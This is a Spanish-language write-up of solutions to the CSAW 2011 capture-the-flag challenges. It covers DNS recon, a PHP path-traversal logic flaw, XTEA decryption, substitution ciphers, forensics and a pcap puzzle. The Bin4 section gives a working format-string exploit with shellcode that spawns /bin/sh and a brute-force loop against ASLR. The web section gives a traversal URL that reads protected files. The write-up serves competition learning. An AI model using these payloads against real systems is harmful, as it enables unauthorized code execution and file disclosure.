WriteUps: Cyber Security Awareness Week CTF 2011

http://www.null-life.com/

Recon

Judge2 - 100 Points
Jon Oberheide

La clave para este reto se encuentra en un registro TXT en el dominio de Jon Oberheide.

```
nslookup -type=any jon.oberheide.org
Servidor:  google-public-dns-a.google.com
Address:  8.8.8.8

Respuesta no autoritativa:
jon.oberheide.org       internet address = 208.64.36.6
jon.oberheide.org       text =

      "key{b7d884fb9e3e5826cb4397b885d4b831202cb9b4}"
```

Key: b7d884fb9e3e5826cb4397b885d4b831202cb9b4

Web

Inchbinge - 400 Points
http://csawctf.poly.edu:40003/

Escaneando la URL con DirBuster encontramos la carpeta “broken” que contenía un archivo de tipo imagen y un directorio llamado “data”, que a su vez contenía el archivo “download.php” y el directorio “protected”.

A través de ensayo y error se encontró que la variable “file” era usada por el archivo para mostrar el contenido, leyendo el mismo download.php podemos apreciar su código fuente.

```
<?php
#FIXME: People might be able to download this file!
function cleanit($v) {
    $v=str_replace("\0", "", $v);
    $o=$v;
    do {
       $v=preg_replace("|/\.*/|", "/", $v);
       $v=preg_replace("|^/|", "", $v);

    } while($o!=$v && $o=$v);
    return $v;
}

$path=cleanit($_GET['file']);

if(!strlen($path) || !file_exists($path)) {
    print 'FILE NOT FOUND: '.$path; exit;
} elseif(strpos($path,'protected')===0) {
    print 'ACCESS DENIED: '.$path; exit;
}

readfile($path);
?>
```

La vulnerabilidad se encuentra en la línea del “elseif”: “`strpos($path,'protected')===0`“.
En la documentación de la función (http://php.net/strpos) ponen una advertencia muy clara sobre el uso de esta función y los valores que retorna, se debe usar el operador “===” contra FALSE, caso contrario, como el reto, se pueden encontrar vulnerabilidades lógicas en el código.
La comparación de “===” con 0 es interpretada como la búsqueda de la cadena ‘protected’ solo al inicio de la cadena, y no en otra posición.

Explotando esta vulnerabilidad podemos leer los archivos en el directorio protected; como era de esperarse, el archivo .htaccess existía:

http://csawctf.poly.edu:40003/broken/data/download.php?file=../data/protected/.htaccess

```
<files XDONOTOPENX>
      order allow,deny
      deny from all
</files>
```

Por último, al leer el archivo XDONOTOPENX encontramos la clave final.

Key: LOOKMANONUMBERS

Reversing

.NET1 - 200 Points

http://csawctf.poly.edu:10000/97d48a28b8fac891a957186905e42ab7/students-easy.zip

Extraemos el archivo ZIP y el reto consiste en descifrar el archivo llamado “9-9-2011 11-24-28

PM.dmp" el cual ha sido cifrado mediante el programa DumpPrepper.exe, incluido en el zip. Al decompilar la aplicación usando Reflector podemos ver las funciones:

```
private static byte[] Encrypt(byte[] plaintext, uint[] key)
private static uint[] ProcessBlock(uint num_rounds, uint[] v, uint[] key)
```

Y en el constructor del programa podemos ver:

```
static Program() {
    key = new uint[] { 0x73027424, 0x94519469, 0x14385937, 0x3418465 };
}
```

Detallando la función ProcessBlock, es la que hace el trabajo de cifrar un grupo de bytes con una key determinada.

```
private static uint[] ProcessBlock(uint num_rounds, uint[] v, uint[] key)
{
    if (key.Length != 4)
    {
        throw new ArgumentException();
    }
    if (v.Length != 2)
    {
        throw new ArgumentException();
    }
    uint num2 = v[0];
    uint num3 = v[1];
    uint num4 = 0;
    uint num5 = 0x9e3779b9;
    for (uint i = 0; i < num_rounds; i++)
    {
        uint num6 = num3 << 4;
        uint num7 = num3 >> 5;
        uint num8 = (num6 ^ num7) + num3;
        uint num9 = num4 + key[(int) ((IntPtr) (num4 & 3))];
        num2 += num8 ^ num9;
        num4 += num5;
        uint num10 = num2 << 4;
        uint num11 = num2 >> 5;
        uint num12 = (num10 ^ num11) + num2;
        uint num13 = num4 + key[(int) ((IntPtr) ((num4 >> 11) & 3))];
        num3 += num12 ^ num13;
    }
    v[0] = num2;
    v[1] = num3;
    return v;
}
```

Buscando las constantes en el código encontramos que hace referencia a el cifrado XTEA: http://en.wikipedia.org/wiki/XTEA. Basándonos en la función anterior y en la que esta en wikipedia creamos una función para descifrar el archivo:

```
private static uint[] UnProcessBlock(uint num_rounds, uint[] v, uint[] key)
{
    if (key.Length != 4)
    {
        throw new ArgumentException();
    }
    if (v.Length != 2)
    {
        throw new ArgumentException();
    }
    uint v0 = v[0];
    uint v1 = v[1];

    uint m_delta = 0x9e3779b9;
    uint sum = m_delta * num_rounds;
    for (uint i = 0; i < num_rounds; i++)
    {
        v1 -= (v0 << 4 ^ v0 >> 5) + v0 ^ (sum + key[(int)((IntPtr)((sum >> 11) & 3))]);
```

```
        sum -= m_delta;
        v0 -= ((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + key[(int)((IntPtr)(sum & 3))]);
    }
    v[0] = v0;
    v[1] = v1;
    return v;

}
```

Al descifrar el archivo obtenemos algo como lo siguiente (algunos caracteres $ se han omitido):

```
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
         key{  f79b5967afade81c142eab7e4b4c9a3b  }
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
```

KEY: f79b5967afade81c142eab7e4b4c9a3b

Exploitation

Bin4 - 500 Points
ssh csawctf.poly.edu:30004

Después de entrar por SSH al reto, nos damos cuenta de que hay 3 archivos.

```
user20011@ubuntu:~$ ls
bin4 challenge4.c key
```

Analizamos el binario así como el entorno para ver contra que protecciones nos enfrentamos.

```
user20011@ubuntu:~$ wget http://www.trapkit.de/tools/checksec.sh
user20011@ubuntu:~$ chmod +x checksec.sh
user20011@ubuntu:~$ ./checksec.sh --file ./bin4
RELRO             STACK CANARY      NX            PIE       FILE
Full RELRO        Canary found      NX disabled   No PIE    ./bin4
user20011@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2
```

Como se puede apreciar el binario cuenta con las protecciones RELRO (Implementación completa), Stack Canaries y ASLR en nivel 2, un ambiente bastante rudo para tratarse de un reto de desbordamiento de pila.
Como el reto nos permite ver el código fuente le echaremos un vistazo...

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

inline int add(int lhs, int rhs){return lhs + rhs;}
inline int sub(int lhs, int rhs){return lhs - rhs;}
inline int mul(int lhs, int rhs){return lhs * rhs;}
int divi(int lhs, int rhs){
  if(rhs == 0){return 0;}
```

```
  return lhs / rhs;
}

void u(){
  printf("number op number\n");
  exit(EXIT_FAILURE);
}

void e(){
  puts("Need operation\n");
  exit(EXIT_FAILURE);
}

int s(char *op, char *lhs, char *rhs){

  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  printf("Operation: ");
  fflush(0);


  switch(*op++){
  case '+':
      opfunc = matfunc[0];
      break;
  case '-':
      opfunc = matfunc[1];
      break;
  case '*':
      opfunc = matfunc[2];
      break;
  case '/':
      opfunc = matfunc[3];
      break;
  default:
      e();
  }

  snprintf(opmsg, sizeof(opmsg), op);
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}

int main(int argc, char **argv){

  if(argc < 4){ u(); }
```

```
  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}
```

Rápidamente nos damos cuenta de un tremendo Format String, así como se entiende que la función de este binario es servir como una calculadora básica, pasándole los numeros y la operación a realizar.
Bueno ya basta de palabrería, encontremos si es posible aprovechar este Format String.

```
user20011@ubuntu:~$ ./bin4 1 + 1
Operation: +
Result: 2
user20011@ubuntu:~$ ./bin4 1 +AAAABBBBCCCCDDDD---%13\$x---%14\$x---%15\$x---%16\$x 1
Operation: AAAABBBBCCCCDDDD---41414141---42424242---43434343---44444444
Result: 2
```

Excelente, ya tenemos lo mas importante en un Format String: poder señalar direcciones, las cuales luego podemos usar para escribir byte a byte sobre las mismas, aunque bueno, no podremos usar aquí la técnica más común, la cual se trata de sobreescribir alguna rutina de destrucción dentro del binario ya que este cuenta con la protección RELRO en modo completo, la cual pone esta y otras zonas, en modo solo lectura, eso sin tomar en cuenta que también tenemos ASLR en nivel 2.

Sin embargo, como se indica en este Whitepaper por Sebastian Krahmer, aún con todo y RELRO + ASLR e inclusive NX (Pila No-Ejecutable) podemos encontrar algunas direcciones no-aleatorias cerca de la funcion __do_global_dtors_aux por lo que procedemos a desensamblar la función:

```
.text:08048480 __do_global_dtors_aux proc near         ;       CODE       XREF:
_term_proc+13p
.text:08048480                 push  ebp
.text:08048481                 mov   ebp, esp
.text:08048483                 push  ebx
.text:08048484                 sub   esp, 4
.text:08048487                 cmp   ds:completed_7065, 0
.text:0804848E                 jnz   short loc_80484CF
.text:08048490                 mov   eax, ds:dtor_idx_7067
.text:08048495                 mov   ebx, offset __DTOR_END__
.text:0804849A                 sub   ebx, offset __DTOR_LIST__
.text:080484A0                 sar   ebx, 2
```

Siguiendo ds:completed_7065 nos lleva a la sección de datos no inicializados (.bss), así que nuevamente procedemos a desensamblar

```
.bss:0804A008 completed_7065  db ?                    ; DATA XREF:
__do_global_dtors_aux+7r
.bss:0804A008                                         ;
__do_global_dtors_aux:loc_80484C8w
.bss:0804A009                 align 4
.bss:0804A00C dtor_idx_7067   dd ?                    ; DATA XREF:
```

```
__do_global_dtors_aux+10r
.bss:0804A00C                                           ;
  do_global_dtors_aux+33w ...
.bss:0804A010 opfunc_2401     dd ?                      ; DATA XREF: s+A8w
s+B5w ...
.bss:0804A010 _bss            ends
.bss:0804A010
```

Como se puede notar en la sección resaltada encontramos el puntero hacia la función opfunc() la cual si recordamos realiza una labor importante, echemos un vistazo rápido de nuevo...

```
inline int add(int lhs, int rhs){return lhs + rhs;}
inline int sub(int lhs, int rhs){return lhs - rhs;}
inline int mul(int lhs, int rhs){return lhs * rhs;}
int divi(int lhs, int rhs){
  if(rhs == 0){return 0;}
  return lhs / rhs;
}
…
…
int s(char *op, char *lhs, char *rhs){
static int(*opfunc)(int, int);
int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
…
  switch(*op++){
  case '+':
      opfunc = matfunc[0];
      break;
  case '-':
      opfunc = matfunc[1];
      break;
  case '*':
      opfunc = matfunc[2];
      break;
  case '/':
      opfunc = matfunc[3];
      break;
  default:
      e();
  }

…
return opfunc(atoi(lhs), atoi(rhs));
```

Perfecto, apunta hacia las funciones que realizan operaciones sobre las argumentos 1 y 3, en otras palabras, encontramos un lugar donde tomar el flujo de la aplicación, por lo que procedemos a intentar escribiendo sobre esta misma para ver si de verdad obtenemos el control al escribir sobre 0x804a010, 0x804a011, 0x804a012 y 0x804a013, ya que recordemos que en un Format String se escribe byte por byte...

```
user20011@ubuntu:~$ gdb -q ./bin4
(gdb) r 1 +`python -
c 'print "\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08"
+ "%13\$n%14\$n%15\$n%16\$n"'` 1
```

```
Program received signal SIGSEGV, Segmentation fault.
0x101010 in ?? ()
```

Excelente!
Tenemos control del flujo, ya que como se puede apreciar, se escribió 10 en hexadecimal, el cual es el número de caracteres (16) que hay en la cadena de formato actualmente...
Pero bueno, aquí viene la parte no-interesante, ya que debería haber usado técnicas de Return-Oriented-Programming para obtener un exploit más confiable y de paso llevarnos entre las patas a ASLR, pero por razones de tiempo y flojera decidí irme por el lado fácil, el cual es poner la shellcode en la pila usando variables de entorno y hacer fuerza-bruta a una dirección obtenida previamente y esperar a que esta se repita.
Así que sin alargar mucho procedamos a esta parte aburrida...

Shellcode Tomada de http://www.shell-storm.org/shellcode/files/shellcode-517.php

```
user20011@ubuntu:~$ SHS=$(python -c 'print "\x90"*300
+ "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x
0b\xcd\x80"')
export SHS
```

```
// Codigo fuente de envi
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
      char *addr;
      addr=getenv(argv[1]);

      printf("Address of %s: %p\n",argv[1],addr);
      return 0;
}
```

```
user20011@ubuntu:~$ gcc envi.c -o envi
user20011@ubuntu:~$ ./envi SHS
Address of SHS: 0xbf9c0de3
```

La ponemos un poco más lejos para evitar parar en SHS=, por lo que para no fallar le aumento 8 bytes (0xe3 + 0x8 = 0xeb) y queda al final 0xbf9c0deb.
Procedamos entonces a calcular los valores/cantidades de números a escribir que necesitamos.

Por si no te sabes la fórmula para calcular cuantos caracteres a escribir...

```
if (anteriorNumero < siguienteNumero) {
      cantidad = siguienteNumero - anteriorNumero;
} else {
      cantidad = 0x100 - anteriorNumero + siguienteNumero;
}
```

Calculo las cantidades...

```
0xeb - 0x10 = 0xdb = 219
0x100 - 0xeb + 0x0d = 0x22 = 34
0x9c - 0x0d = 0x8f = 143
0xbf - 0x9c = 0x23 = 35
```

Prueba para ver si los cálculos son correctos...

```
user20011@ubuntu:~$ gdb -q ./bin4
(gdb) r 1 +`python -
c 'print "\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08"
+ "%.219u%13\$n%.034u%14\$n%.143u%15\$n%.035u%16\$n"'` 1

Program received signal SIGSEGV, Segmentation fault.
0xbf9c0deb in ?? ()
```

Como dije, vamos a hacer fuerza bruta a esta dirección hasta que obtengamos nuestra shell, se que se preguntaran cuanto tardó, pero desafortunadamente tengo que contestar, que no estuve muy al pendiente de la misma pero podría decirse que no fueron mas de 2 a 3 minutos de espera...

```
user20011@ubuntu:~$ while(true); do ./bin4 1 +`python -
c 'print "\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08"
+ "%.219u%13\$n%.034u%14\$n%.143u%15\$n%.035u%16\$n"'` 1;done
```

..... algunos cientos de intentos y ....

```
Operation:
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000032146722200000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
03214673961000000000000000000000003214673897
$ id
uid=20011(user20011) gid=20011(user20011) egid=19999(flag)
 groups=20011(user20011)
$ cat key
key{Math_is_fun}
```

Key: Math_is_fun

Crypto

Crypto5 - Crypto10 se pasaron fácilmente usando el programa SCBSolvr.
http://www.secretcodebreaker.com/scbsolvr.html

Crypto5

JR UNIR QVFPBIRERQ GUNG BHE YNFG GUERR GENAFZVFFVBAF JR'ER RNFVYL QRPVCURERQ. JR UNIR GNXRA PNER BS GUR CNEGL ERFCBAFVOYR SBE GURVE RAPBQVAT NAQ NER ABJ HFVAT N ARJ ZRGUBQ. HFR GUR VASBEZNGVBA CEBIVQRQ NG YNFG JRRX.F ZRRGVAT GB QRPVCURE NYY ARJ ZRFFNTRF. NAQ ERZRZORE, GUVF JRRX.F XRL VF BOSHFPNGRQ.

Key: obfuscated

Crypto6
PYB DRO XOHD WOODSXQ LO CEBO DY ECO UOI WKXUSXN. DROBO RKFO LOOX CYWO QBOKD SNOKC PVISXQ KBYEXN YEB WOODSXQC KC YP VKDO. DRO KEDRYBSDI GSVV QY YFOB CYWO YP DROW DY COO SP DROI PSD SXDY YEB KQOXNK

Key: mankind

Crypto7
VAOZM HPXC YZGDWZMVODJI OCZ VPOCJMDOT CVN YZXDYZY OCVO OCZMZ DN JIZ DYZV RCDXC RZ RDGG OVFZ PK VN KVMO JA JPM XVPNZ. OJ CZVM HJMZ VWJPO DO, WZ NPMZ OJ VOOZIY OCZ IZSO HZZODIB, PNZ OCZ FZT BZIZMVODJI OJ BZO DI. OCZMZ DN HPXC KGVIIDIB IZZYZY OJ WZ YJIZ, WPO DA RZ XVI ZSZXPOZ OCZ KGVI RZ RDGG WZ AMZZY

Key: generation

Crypto8
EKEMQ XI LEWI CIESQIH ULEU BVS USEQTPMTTMBQT ESI FIMQK PBQMUBSIH. ET E SITVCU XI ESI GLEQKMQK ULI IQGSDAUMBQ PIULBH EKEMQ. ULI QIX OID JBS QIYU PIIUMQK XMCC FI ABCDKBQ. MU MT MPAISEUMWI ULEU DBV ECC EUUIQH ECC PIIUMQKT JSBP LISI BQ MQ

Key: polygon

Crypto9
XI VQHISTUEQH ULEU ULMT XMCC FI QB IETD UETO UB IYIGVUI EQH ULEU XI ESI ETOMQK E CBU JSBP ECC BJ DBV. WI HB QBU JEVCU EQD PIPFIST JBS CIEWMQK, XI ESI FIUUIS BJJ XMULBVU ULBTI XIEO CMQOT. ULI ACEQQMQK TUEKI MT QBX BWIS. ULI OID JBS BVS JMQEC PIIUMQK MT JEXOIT. SIEHD DBVSTICWIT. ULI UMPI LET GBPI JBS VT UB FI JSIIH

Key: fawkes

Crypto10
ULMT XMCC FI BVS CETU USEQTPMTTMBQ. DBV'WI ECC SIGIMWIH DBVS ETTMKQPIQUT. IJ DBV ESI EFCI UB GBPACIUI DBVS UETO SIACD FEGO UB VT VTMQK ULI OIDXBSH JSBP ULMT IQGSDAUMBQ ECKBSMULP ET DBVS OID. NVTU SIPIPFIS ULEU ULMT MT ECC JBS ULI KSIEUIS KBBH.

La bandera para el reto era la clave usada en la sustitución:
FINAL*EOBJCTVSDGHKMP*RUW*Y

Faltaban las letras Q, X y Z, por lo que haciendo las respectivas combinaciones podiamos encontrar la bandera indicada.

Key: finalzeobjctvsdghkmpqruwxy

Forensics

EvilBurritos1 - 300 Points
We're currently investigating a company named Evil Burritos, we recovered this from one of their suspected programmer's computers. If you can find evidence of their involvement with Evil Burritos that would help greatly! Please find an email address of someone from Evil Burritos!
http://csawctf.poly.edu:10000/75fc6678064eaa15f1385b031ce6246b/core.burritos

Descargar la imagen. Luego buscar las direcciones de correo:
>strings core.burritos | grep '\@'|grep burri
To: shrlchn99@evil-inc.burritos
shrlchn99@evil-inc.burritos
To: shrlchn99@evil-inc.burritos
To: shrlchn99@evil-inc.burritos
To: shrlchn99@evil-inc.burritos
To: shrlchn99@evil-inc.burritos
shrlchn99@evil-inc.burritos

Key: shrlchn99@evil-inc.burritos

Networking

LoveLetter - 500 Points
No spaces in the key.
http://csawctf.poly.edu:10000/3bf77e1657e16d46fbd465b1bff1f5d4/captured-love-letter.pcap

En los paquetes podiamos ver el siguiente flujo TCP:

```
220 ohhaycupid.com.cn ESMTP Sendmail 8.14.4/8.14.4/Debian-2ubuntu1; Wed,
31 Aug 2011 20:24:44 -0600; (No UCE/UBE) logging access from: mail-
dev001.ohhaycupid.com.cn(OK)-mail-dev001.ohhaycupid.com.cn [192.168.0.142]
ehlo [127.0.0.1]
250-ohhaycupid.com.cn Hello mail-dev001.ohhaycupid.com.cn [192.168.0.142],
pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-DELIVERBY
250 HELP
mail FROM:<anon198@ohhaycupid.com.cn> size=456
250 2.1.0 <anon198@ohhaycupid.com.cn>... Sender ok
rcpt TO:<cutie>
250 2.1.5 <cutie>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Content-Type: multipart/mixed; boundary="==============0606894513=="
```

```
MIME-Version: 1.0
From: anon198@ohhaycupid.com.cn
To: cutie
Subject: My love

----------------0606894513==
Content-Type: text/gb2312; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

xOO6w7/
JsK6jrA0KDQq4+M7StPK157uwo6zH66OhDQoNCsG9sNnWrtK7o6wNCs7l0ruw2bb+yq6wy7j2o6wN
Csj9uPbHpzmw2bDLyq7G37j2DQoNCi1Zb3VyIGFub255bW91cyBhZG1pcmVyIQ==

----------------0606894513==--
.
250 2.0.0 p812OiwE024601 Message accepted for delivery
quit
221 2.0.0 ohhaycupid.com.cn closing connection
```

Encontramos una cadena codificada con Base64 y de tipo gb2312, charset perteneciente a chino simplificado.
Decodificamos la cadena y la abrimos con un editor de texto al cual podamos configurarle el charset, en este caso, OpenOffice.

El resultado es el siguiente.
你好可爱，

给我打电话，请！

两百之一，
五一百二十八个，
三个千9百八十七个

Haciendo uso de Google Translator vemos el mensaje en inglés.

```
Hello lovely,
Call me, please!
Two hundred one
Five one hundred twenty-eight,
Three thousand nine one hundred eighty-seven
```

El número al final de la frase es un número telefónico de Estados Unidos: (201) 528 3987
Usando el sitio web de Evaphone (http://www.evaphone.com/) nos contesta una máquina diciendo la bandera del reto.

Key: wouldyoulikeburritoswiththat